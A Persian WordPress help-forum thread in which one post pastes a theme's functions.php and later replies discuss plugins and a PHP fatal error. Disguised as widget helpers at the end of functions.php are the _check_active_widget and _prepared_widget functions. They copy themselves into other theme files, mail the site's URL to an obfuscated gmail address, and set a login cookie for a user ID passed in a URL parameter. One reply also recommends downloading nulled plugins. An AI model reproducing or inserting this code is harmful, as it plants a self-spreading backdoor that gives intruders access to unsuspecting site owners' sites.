//****************************************** // @ This panel created by Mohammad Famo & Mahdi Yousefi // @ Email: mohammad.famo@gmail.com // @ URL : http://mfamo.com //****************************************** // tag include (get_template_directory() . '/inc/tags/create.php'); // panel include (get_template_directory() . '/inc/admin/setting.php'); // ratings if(mfamo_option('star_ratings')): include (get_template_directory() . '/inc/functions/ratings.php'); endif; // Post Breadcrumbs if(mfamo_option('breadcrumbs')): include (get_template_directory() . '/inc/functions/breadcrumbs.php'); endif; // wp head clean if(mfamo_option('wp_head_clean')): remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); add_action( 'widgets_init', 'my_remove_recent_comments_style' ); function my_remove_recent_comments_style() { global $wp_widget_factory; remove_action( 'wp_head', array( $wp_widget_factory->widgets['WP_Widget_Recent_Comments'], 'recent_comments_style' ) ); } function _remove_script_version( $src ) { $parts = explode( '?', $src ); return $parts[0]; } add_filter( 'script_loader_src', '_remove_script_version', 15, 1 ); add_filter( 'style_loader_src', '_remove_script_version', 15, 1 ); endif; // widgets include (get_template_directory() . '/inc/widgets/CategoryPosts.php'); //Active Theme global $pagenow; if (is_admin() && isset($_GET['activated'] ) && $pagenow == "themes.php" ) { header( 'Location: '.admin_url().'themes.php?page=setting' ); } function mfamo_admin_bar() { global $wp_admin_bar; if ( current_user_can( 'switch_themes' ) ){ $wp_admin_bar->add_menu(array( 'parent' => 0, 'id' => 'ps-panel', 'title' => 'تنظيمات قالب' , 'href' => admin_url( 'themes.php?page=setting') )); }} add_action( 'wp_before_admin_bar_render', 'mfamo_admin_bar' ); // mfamo unapproved comments global $post; $mfamo_unapproved_comments = get_comments( array( 'status' => 'hold', 'post_ID' => isset($post->ID) , 'count' => true ) ); // Site Title function theme_wp_title( $title, $sep ) { global $paged, $page; if ( is_feed() ) { return $title; } $title .= get_bloginfo( 'name', 'display' ); $site_description = get_bloginfo( 'description', 'display' ); if ( $site_description && ( is_home() || is_front_page() ) ) { $title = "$title $sep $site_description"; } if ( $paged >= 2 || $page >= 2 ) { $title = "$title $sep " . sprintf('صفحه %s' , max( $paged, $page ) ); } return $title; } add_filter( 'wp_title', 'theme_wp_title', 10, 2 ); //pagenavi include (get_template_directory() . '/inc/functions/pagenavi.php'); function mfamo_pagenavi( $query = false, $num = false ){ ?> <div class="pagenavi"> <?php mfamo_get_pagenavi( $query, $num ) ?> </div> <?php } // Post id in wordpress admin add_filter('manage_posts_columns', 'posts_columns_id', 5); add_action('manage_posts_custom_column', 'posts_custom_id_columns', 5, 2); add_filter('manage_pages_columns', 'posts_columns_id', 5); add_action('manage_pages_custom_column', 'posts_custom_id_columns', 5, 2); function posts_columns_id($defaults){ $defaults['wps_post_id'] = 'آيدي پست' ; return $defaults; } function posts_custom_id_columns($column_name, $id){ if($column_name === 'wps_post_id'){ echo $id; } } // thumbnail add_theme_support('post-thumbnails'); if (function_exists('add_image_size')){ add_image_size( 'listen', 90, 90, true); add_image_size( 'special', 150, 150, true); } // create contactus if (isset($_GET['activated']) && is_admin()){ $new_page_title = 'تماس با ما'; $new_page_slug = '/contactus/'; $new_page_content = ''; $new_page_template = 'contact.php'; $page_check = get_page_by_title($new_page_title); $new_page = array( 'post_type' => 'page', 'post_title' => $new_page_title, 'post_content' => $new_page_content, 'post_name' => $new_page_slug, 'post_status' => 'publish', 'post_author' => 1, ); if(!isset($page_check->ID)){ $new_page_id = wp_insert_post($new_page); if(!empty($new_page_template)){ update_post_meta($new_page_id, '_wp_page_template', $new_page_template); } } } //wp list categories add_filter('wp_list_categories', 'cat_count_span'); function cat_count_span($links) { $links = str_replace('</a> (', '</a> <span>', $links); $links = str_replace(')', '</span>', $links); return $links; } //most view week function famo_most_view_week_sql(){ global $wpdb; return $wpdb->get_results("SELECT * FROM ( SELECT $wpdb->posts.* FROM $wpdb->posts, $wpdb->postmeta WHERE $wpdb->posts.ID = $wpdb->postmeta.post_id AND $wpdb->postmeta.meta_key = 'views' AND post_date BETWEEN '" . date("Y-m-d", strtotime("-1 month")) . "' AND '" . date("Y-m-d") . "' AND $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY CAST( $wpdb->postmeta.meta_value AS SIGNED ) DESC LIMIT 5 ) AS T ORDER BY RAND() ", OBJECT); } //delet WP_Widget function unregister_default_wp_widgets() { unregister_widget('WP_Widget_Search');// جستجو unregister_widget('WP_Widget_Categories'); // ابزارک دسته ها unregister_widget('WP_Widget_Meta'); // ابزارک اطلاعات unregister_widget('WP_Widget_Archives'); // ابزارک بايگاني } add_action('widgets_init', 'unregister_default_wp_widgets', 1); //sidebar function snippets_widgets_init() { if(function_exists('register_sidebar') ){ register_sidebar(array( 'name'=> 'ابزارک راست', 'id'=> 'right_widgets', 'before_widget' => '<div class="side other CategoryPosts">', 'after_widget'=> ' </div><!-- body --> </div><!-- box -->', 'before_title'=> ' <div class="title"> <h4>', 'after_title' => ' </h4> </div> <div class="body">', )); register_sidebar(array( 'name'=> 'ابزارک چپ', 'id'=> 'left_widgets', 'before_widget' => '<div class="side other CategoryPosts">', 'after_widget'=> ' </div><!-- body --> </div><!-- box -->', 'before_title'=> ' <div class="title"> <h5>', 'after_title' => ' </h5> </div> <div class="body">', )); register_sidebar(array( 'name'=> 'پست ثابت بالا صفحه اصلی', 'id'=> 'top_index_widgets', 'before_widget' => '<div class="posts buy">', 'after_widget'=> ' </div><!-- body --> </div><!-- box -->', 'before_title'=> ' <div class="title"> <h3>', 'after_title' => ' </h3> </div> <div class="body">', )); register_sidebar(array( 'name'=> 'پست ثابت پایین صفحه اصلی', 'id'=> 'bottom_index_widgets', 'before_widget' => '<div class="posts buy">', 'after_widget'=> ' </div><!-- body --> </div><!-- box -->', 'before_title'=> ' <div class="title"> <h3>', 'after_title' => ' </h3> </div> <div class="body">', )); register_sidebar(array( 'name'=> 'پست ثابت بالا ادامه مطلب', 'id'=> 'top_single_widgets', 'before_widget' => '<div class="posts buy">', 'after_widget'=> ' </div><!-- body --> </div><!-- box -->', 'before_title'=> ' <div class="title"> <h3>', 'after_title' => ' </h3> </div> <div class="body">', )); register_sidebar(array( 'name'=> 'پست ثابت پایین ادامه مطلب', 'id'=> 'bottom_single_widgets', 'before_widget' => '<div class="posts buy">', 'after_widget'=> ' </div><!-- body --> </div><!-- box -->', 'before_title'=> ' <div class="title"> <h3>', 'after_title' => ' </h3> </div> <div class="body">', )); } } //Navigation if ( function_exists( 'register_nav_menu' ) ){ register_nav_menus( array( 'fullarchive' => 'آرشیو خوانندگان', ) ); } function famo_nav_fallback(){echo '<p style="text-align: justify;">باید از پیشخوان » نمایش » فهرست ها ، لینک های خود را قرار دهید.</p><p style="text-align: justify;"><a style="font-weight: bold;" target="_blank" href="http://mfamo.com/post/365/">آموزش ساخت فهرست و تنظيم منو در وردپرس</a></p>';} add_action( 'widgets_init', 'snippets_widgets_init' ); //meta box function add_custom_meta_box() { add_meta_box( 'custom_meta_box', 'زمينه هاي دلخواه !', 'show_custom_meta_box', 'post', 'normal', 'high'); } add_action('add_meta_boxes', 'add_custom_meta_box'); $prefix = ''; $custom_meta_fields = array( array( 'label'=> 'پست ویژه', 'desc' => 'نمایش به عنوان پست ویژه در هدر سایت', 'id'=> $prefix.'special', 'type' => 'checkbox' ), array( 'label'=> 'عنوان کوتاه (مثال : محسن یگانه - حباب)', 'desc' => '', 'id'=> $prefix.'title', 'type' => 'text' ), array('label'=> '',), array('label'=> '<b style="color:#3297da">اطلاعات مربوط به دانلود آهنگ</b>',), array('label'=> '',), array('label'=> '',), array( 'label'=> 'دانلود با کیفیت 1080p (دو زبانه)', 'desc' => '', 'id'=> $prefix.'dm_direct-albume320', 'type' => 'text' ), array( 'label'=> 'دانلود با کیفیت 720p (دو زبانه)', 'desc' => '', 'id'=> $prefix.'dm_direct-albume128', 'type' => 'text' ), array( 'label'=> 'لینک آهنگ برای پخش آنلاین و کد وبلاگ', 'desc' => '', 'id'=> $prefix.'online', 'type' => 'text' ), array( 'label'=> '<b style="color:#3297da">اطلاعات مربوط به دانلود آلبوم</b>', ), array('label'=> '',), array('label'=> '',), array( 'label'=> 'لینک دانلود آلبوم 320', 'desc' => '', 'id'=> $prefix.'albume320', 'type' => 'text' ), array( 'label'=> 'لینک دانلود آلبوم 320 تکی', 'desc' => '', 'id'=> $prefix.'talbume320', 'type' => 'text' ), array('label'=> '',), array( 'label'=> 'لینک دانلود آلبوم 128', 'desc' => '', 'id'=> $prefix.'albume128', 'type' => 'text' ), array( 'label'=> 'لینک دانلود آلبوم 128 تکی', 'desc' => '', 'id'=> $prefix.'talbume128', 'type' => 'text' ), array('label'=> '',), array( 'label'=> '<b style="color:#3297da">اطلاعات مربوط به دانلود موزیک ویدیو</b>', ), array('label'=> '',), array('label'=> '',), array( 'label'=> 'موزیک ویدیو با کیفیت 1080p عالی', 'desc' => '', 'id'=> $prefix.'video1080p', 'type' => 'text' ), array( 'label'=> 'موزیک ویدیو با کیفیت 720p متوسط', 'desc' => '', 'id'=> $prefix.'video720p', 'type' => 'text' ), array( 'label'=> 'موزیک ویدیو با کیفیت 480p پایین', 'desc' => '', 'id'=> $prefix.'video480p', 'type' => 'text' ), array( 'label'=> 'موزیک ویدیو با کیفیت موبایل', 'desc' => '', 'id'=> $prefix.'videomob', 'type' => 'text' ), array( 'label'=> 'لینک موزیک ویدیو پخش آنلاین', 'desc' => '', 'id'=> $prefix.'vonline', 'type' => 'text' ), array('label'=> '',), array( 'label'=> '<b style="color:#3297da">اطلاعات مربوط یه فیلم و سریال</b>', ), array('label'=> '',), array('label'=> '',), array( 'label'=> 'دانلود با کیفیت BluRay 1080p', 'desc' => '', 'id'=> $prefix.'dm_direct-video1080p', 'type' => 'text' ), array( 'label'=> 'دانلود با کیفیت BluRay 720p', 'desc' => '', 'id'=> $prefix.'dm_direct-video720p', 'type' => 'text' ), array( 'label'=> 'دانلود با کیفیت x265 720 BluRay', 'desc' => '', 'id'=> $prefix.'dm_direct-video480p', 'type' => 'text' ), array( 'label'=> 'لینک سریال', 'desc' => '', 'id'=> $prefix.'dm_direct-serial', 'type' => 'text' ), array( 'label'=> 'لینک کمکی اول', 'desc' => '', 'id'=> $prefix.'serial2', 'type' => 'text' ), array( 'label'=> 'لینک کمکی دوم', 'desc' => '', 'id'=> $prefix.'serial3', 'type' => 'text' ), array( 'label'=> 'زیر نویس فیلم', 'desc' => '', 'id'=> $prefix.'dm_subtitles', 'type' => 'text' ), array( 'label'=> 'فایل صوتی دوبله فیلم', 'desc' => '', 'id'=> $prefix.'dm_dubbed', 'type' => 'text' ), array('label'=> '',), array('label'=> '<b style="color:#3297da">اطلاعات مربوط به دانلود دمو</b>',), array('label'=> '',), array('label'=> '',), array( 'label'=> 'دانلود با کیفیت x265 1080p BluRay', 'desc' => '', 'id'=> $prefix.'musicd', 'type' => 'text' ), array( 'label'=> 'لینک ویدیو دمو', 'desc' => '', 'id'=> $prefix.'videod', 'type' => 'text' ), array('label'=> '',), array('label'=> '<b style="color:#3297da">اطلاعات مربوط به دانلود نوحه</b>',), array('label'=> '',), array('label'=> '',), array( 'label'=> 'دانلود با کیفیت 480', 'desc' => '', 'id'=> $prefix.'dm_direct-video-mob', 'type' => 'text' ), array( 'label'=> 'دانلود فیلم با لینک مستقیم', 'desc' => '', 'id'=> $prefix.'dm_direct-film', 'type' => 'text' ), array( 'label'=> 'لینک نوحه برای پخش آنلاین و کد وبلاگ', 'desc' => '', 'id'=> $prefix.'eulogyonline', 'type' => 'text' ), array('label'=> '<b style="color:#3297da">متن و لینک دلخواه</b>',), array('label'=> '',), array('label'=> '',), array( 'label'=> 'متن دلخواه', 'desc' => '', 'id'=> $prefix.'txtideal', 'type' => 'text' ), array( 'label'=> 'متن دلخواه 2', 'desc' => '', 'id'=> $prefix.'txtideal2', 'type' => 'text' ), array( 'label'=> 'متن دلخواه 3', 'desc' => '', 'id'=> $prefix.'txtideal3', 'type' => 'text' ), array( 'label'=> 'لینک دلخواه', 'desc' => '', 'id'=> $prefix.'linkideal', 'type' => 'text' ), array( 'label'=> 'لینک دلخواه 2', 'desc' => '', 'id'=> $prefix.'linkideal2', 'type' => 'text' ), array( 'label'=> 'لینک دلخواه 3', 'desc' => '', 'id'=> $prefix.'linkideal3', 'type' => 'text' ), ); function show_custom_meta_box() { global $custom_meta_fields, $post; echo '<input type="hidden" name="custom_meta_box_nonce" value="'.wp_create_nonce(basename(__FILE__)).'" />'; echo '<div style="width:100%;display: inline-block;">'; foreach ($custom_meta_fields as $field) { $meta = get_post_meta($post->ID, $field['id'], true); echo '<div style="width:33%;display:inline-block;padding:5px 0px;font:11px tahoma;"> <label for="'.$field['id'].'" style="width:90%;display:inline-block;padding:5px 0px;padding:5px 0px;">'.$field['label'].'</label> '; switch($field['type']) { case 'text': echo '<input type="text" name="'.$field['id'].'" id="'.$field['id'].'" value="'.$meta.'" style="width:90%;display:inline-block;font:11px tahoma;box-shadow:none;padding:6px;background:#fafafa;" placeholder="'.$field['label'].'"> <span class="description">'.$field['desc'].'</span>'; break; // checkbox case 'checkbox': echo '<input type="checkbox" name="'.$field['id'].'" id="'.$field['id'].'" ',$meta ? ' checked="checked"' : '','/> <label for="'.$field['id'].'">'.$field['desc'].'</label>'; break; // textarea case 'textarea': echo '<textarea name="'.$field['id'].'" id="'.$field['id'].'" style="width:90%;font:11px tahoma;resize:none;box-shadow:none;background:#fafafa;">'.$meta.'</textarea> <br /><span class="description">'.$field['desc'].'</span>'; break; // select case 'select': echo '<select name="'.$field['id'].'" id="'.$field['id'].'" style="font:11px tahoma;">'; foreach ($field['options'] as $option) { echo '<option', $meta == $option['value'] ? ' selected="selected"' : '', ' value="'.$option['value'].'">'.$option['label'].'</option>'; } echo '</select><br /><span class="description">'.$field['desc'].'</span>'; break; } echo '</div>'; } echo '</div>'; } function save_custom_meta($post_id) { global $custom_meta_fields; if (!wp_verify_nonce($_POST['custom_meta_box_nonce'], basename(__FILE__))) return $post_id; if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return $post_id; if ('page' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) return $post_id; } elseif (!current_user_can('edit_post', $post_id)) { return $post_id; } foreach ($custom_meta_fields as $field) { $old = get_post_meta($post_id, $field['id'], true); $new = $_POST[$field['id']]; if ($new && $new != $old) { update_post_meta($post_id, $field['id'], $new); } elseif ('' == $new && $old) { delete_post_meta($post_id, $field['id'], $old); } } } add_action('save_post', 'save_custom_meta'); // avatar alt & title function replace_content($text) { $alt = get_the_author_meta( 'display_name' ); $text = str_replace('alt=\'\'', 'alt=\''.$alt.'\' title=\''.$alt.'\'',$text); return $text; } add_filter('get_avatar','replace_content'); //comments function custom_comment_reply($content) { $content = str_replace('پاسخ دادن', 'پاسخ دهيد', $content); return $content; } add_filter('comment_reply_link', 'custom_comment_reply'); if ( !is_user_logged_in() ) : add_filter( 'comment_form_defaults', 'Famo_comments_remove_textarea' ); add_action( 'comment_form_top', 'Famo_comments_remove_textarea' ); function Famo_comments_remove_textarea( $input = array () ) { static $textarea = ''; if ( 'comment_form_defaults' === current_filter() ) { $textarea = $input['comment_field']; $input['comment_field'] = ''; return $input; } } endif; function mytheme_enqueue_comment_reply() { if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'mytheme_enqueue_comment_reply' ); function myfamo_comment($comment, $args, $depth) { $GLOBALS['comment'] = $comment; extract($args, EXTR_SKIP); if ( 'div' == $args['style'] ) { $tag = 'div'; $add_below = 'comment'; } else { $tag = 'li'; $add_below = 'div-comment'; } ?> <<?php echo $tag ?> <?php comment_class( empty( $args['has_children'] ) ? '' : 'parent' ) ?> id="comment-<?php comment_ID() ?>"> <?php if ( 'div' != $args['style'] ) : ?> <div id="div-comment-<?php comment_ID() ?>" class="comment-body"> <?php endif; ?> <div class="vcard"> <div class="cm_meta"> <div class="cm_avatar"> <?php if ( $args['avatar_size'] != 0 ) echo get_avatar( $comment,50 ); ?> </div><!-- cm_avatar --> <div class="line"></div> <div class="cm_like"> <?php if(function_exists('like_counter_c')) { like_counter_c(''); } ?> <?php if(function_exists('dislike_counter_c')) { dislike_counter_c(''); } ?> </div><!-- cm_like --> <div class="line" style="margin-right: 9px;"></div> <?php printf('<cite class="cm_author">%s</cite>', get_comment_author_link() ); ?> <div class="cm_bottom"> <div class="comment_date"> <?php printf('%1$s', get_comment_date('l , j F Y')); ?> </div><!-- comment_date --> <?php comment_reply_link( array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> </div><!-- cm_bottom --> </div><!-- cm_meta --> <div class="comment_text"> <?php if ( $comment->comment_approved == '0' ) : ?> <em class="comment_waiting"><?php _e( 'نظر شما بعد از تاييد مدير نمايش داده مي شود.' ); ?></em> <?php endif; ?> <?php comment_text(); ?> </div><!-- comment_text --> </div><!-- vcard --> <?php if ( 'div' != $args['style'] ) : ?> </div> <?php endif; ?> <?php } ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', )); function my_function_admin_bar(){ return false; } add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?>
  2. نه بابا چه مشکلی فقط باید عربی سرچ کنن که بیان تو سایت شما هیچ تفاوتی نمیکنه
  3. خوب بهترین راه برای ساخت اپلیکشن برای وب سایت استفاده از کد نویسی شخصی می باشد ( اگه مهارت این کار را داشته باشین ) چند افزونه هم برای این کار هست که میتونی از سایت راست چین و یا فروشگاه همیار وردپرس فارسی شده این افزونه ها را به دست بیاری اگه هم زبانت خوبه میتونی افزونه ها را از سایت های خارجی به صورت نال شده به دست بیاری و استفاده کنی :))
  4. برای فارسی سازی پنل افزونه wp-parsidate که بچه های همین انجمن نوشتن نصب کنید برای قالب هم باید اونا ترجمش کنی حالا یا خودت از قسمت ویرایشگر یا بدی به یکی که این کارس
  5. با سلام خدمت دوستان من این افزونه را از یکی از سایت های خارجی دانلود کردم بخش لانسس فعال هست ولی نمیدونم چرا کار نمیکنه لانسس هم به این صورته که برای هر سایتی فقط یک کد میده حالا دوستان میدونن مشکل این افزونه چیه ؟ افزونه اخرین نسخه می باشد ( افزونه ربات نویسنده ) میزارم برای دانلود اگه مشکل را رفع کردین میشه به من هم بگین با تشکر Scrapes_v1.4.1_-_Web_scraper_plugin_for_WordPress.zip
  6. دمت گرم داداش مشکل حل شد
  7. استاد دمتون گرم مشکل حل شد با تشکر
  8. با سلام من بعد از اپدیدت جدید وردپرس دیگه نمیتونم وارد پنل تنظیمات قالب خودم بشم این خطا را میده Fatal error: Uncaught Error: Call to undefined function ereg_replace() in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php:918 Stack trace: #0 /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php(75): propanel_siteoptions_machine(Array) #1 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(286): propanel_siteoptions_options_page('') #2 /home/bobocom/mp3old.ir/wp-includes/class-wp-hook.php(310): WP_Hook->apply_filters('', Array) #3 /home/bobocom/mp3old.ir/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home/bobocom/mp3old.ir/wp-admin/admin.php(224): do_action('appearance_page...') #5 /home/bobocom/mp3old.ir/wp-admin/themes.php(10): require_once('/home/bobocom/m...') #6 {main} thrown in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload1/admin/admin-interface.php on line 918 اینم فایل admin-interface.php قالب <?php /*---*/ /* Admin Interface /*---*/ function propanel_siteoptions_add_admin() { global $query_string; if ( isset($_REQUEST['page']) && $_REQUEST['page'] == 'siteoptions' ) { if (isset($_REQUEST['of_save']) && 'reset' == $_REQUEST['of_save']) { $options = get_option('of_template'); propanel_of_reset_options($options,'siteoptions'); header("Location: admin.php?page=siteoptions&reset=true"); die; } } $tt_page = add_theme_page('پنل تنظیمات قالب', 'پنل تنظیمات قالب', 'edit_theme_options', 'siteoptions','propanel_siteoptions_options_page'); add_action("admin_print_scripts-$tt_page", 'propanel_of_load_only'); add_action("admin_print_styles-$tt_page",'propanel_of_style_only'); } add_action('admin_menu', 'propanel_siteoptions_add_admin'); /*----*/ /* Reset Function /*----*/ function propanel_of_reset_options($options,$page = ''){ //@since 2.0 mod by denzel, reset defaults //replace of_reset_options() function.. $template = get_option('of_template'); foreach($template as $t): @$option_name = $t['id']; @$default_value = $t['std']; update_option("$option_name","$default_value"); endforeach; //end of mod } /*----*/ /* Build the Options Page /*----*/ function propanel_siteoptions_options_page(){ $options = get_option('of_template'); ?> <div class="wrap" id="truethemes_container"> <div id="of-popup-save" class="of-save-popup"> <div class="of-save-save">تنظیمات بروز رسانی شد</div> </div> <div id="of-popup-reset" class="of-save-popup"> <div class="of-save-reset">تظنیمات بازیابی شد</div> </div> <form action="" enctype="multipart/form-data" id="ofform"> <div id="header"> <div class="logo"> <h2>تنظیمات قالب متن موزیک</h2> </div> <div class="icon-option"> </div> <div class="clear"></div> </div> <?php // Rev up the Options Machine $return = propanel_siteoptions_machine($options); ?> <div id="main"> <div id="of-nav"> <ul> <?php echo $return[1] ?> </ul> </div> <div id="content"> <?php echo $return[0]; /* Settings */ ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none;" src="<?php echo get_template_directory_uri() ?>/admin/images/wpspin_light.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="submit" value="Save All Changes" class="button-primary" /> </form> <form action="<?php echo esc_attr( $_SERVER['REQUEST_URI'] ) ?>" method="post" style="display:inline" id="ofform-reset"> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset Options" class="button submit-button reset-button" onclick="return confirm('CAUTION: Any and all settings will be lost! Click OK to reset.');" /> <input type="hidden" name="of_save" value="reset" /> 